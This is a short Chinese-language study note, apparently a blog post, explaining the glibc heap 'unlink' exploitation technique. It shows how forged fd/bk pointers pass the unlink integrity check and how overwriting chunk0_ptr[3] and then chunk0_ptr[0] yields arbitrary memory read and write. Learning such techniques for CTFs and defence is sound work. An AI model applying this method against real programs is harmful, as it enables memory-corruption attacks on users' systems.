也就是说我们通过修改chunk0_ptr[3]的值为我们想要修改的地址,就可以实现任意地址读写操作。(这里很绕,终于有一篇文章让我看懂了)

unlink的漏洞利用详细解析

那个很绕的地方这里我再详细记录一下(自己理解的,如有错误还请大佬们指出,感谢):

首先:

1
2
P->fd=addr-3*4
FD=P->fd
1
FD->bk = *(FD+3*4) =P

其他同理,最后就可以得到以下式子了:

1
2
P->fd->bk = *(addr-3*4+3*4) =P    ==>  addr = &P 
P->bk->fd = *(except value + 2*4) = P => except value = &P-2*4

还有一个难懂的地方就是在最后4.在free(chunk1_ptr)之后,chunk0_ptr指向了&chunk0_ptr-3*8的地方那里,如下图:

free掉之后就变成上图这样的情况,然后我们就可以先修改chunk0_ptr[3]为我们想要修改的地址,然后再修改chunk0_ptr[0]就可以实现在我们想要的地址上写东西了。

这个的要点就是各种指针交叉指向,所以才会有点复杂:

比如这个就是chunk0_ptr指向了&chunk0_ptr-3,但是原来的指针指向还是存在,也就是改chunk0_ptr[3]的时候也改了原来chunk0_ptr[0]的值,然后再改chunk0_ptr[0]就可以改他所指向(这个值前面已经被我们改了)的位置的值了

借用一下大佬们的理解:

1
在分配或是合并的时候需要删除链表中的一个结点,学过数据结构应该很清楚其操作,大概是P->fd->bk = P->bk; P->bk->fd = P->fd;,而在做这个操作之前会有一个简单的检查,即查看P->fd->bk == P && P->bk->fd= == P,但是这个检查有个致命的弱点,就是因为他查找fd和bk都是通过相对位置去查找的,那么虽然P->fd和P->bk都不合法,但是P->fd->bk和P->bk->fd合法就可以通过这个检测,而在删除结点的时候就会造成不同的效果了。

总结:指针真的是一个可以很复杂的东西。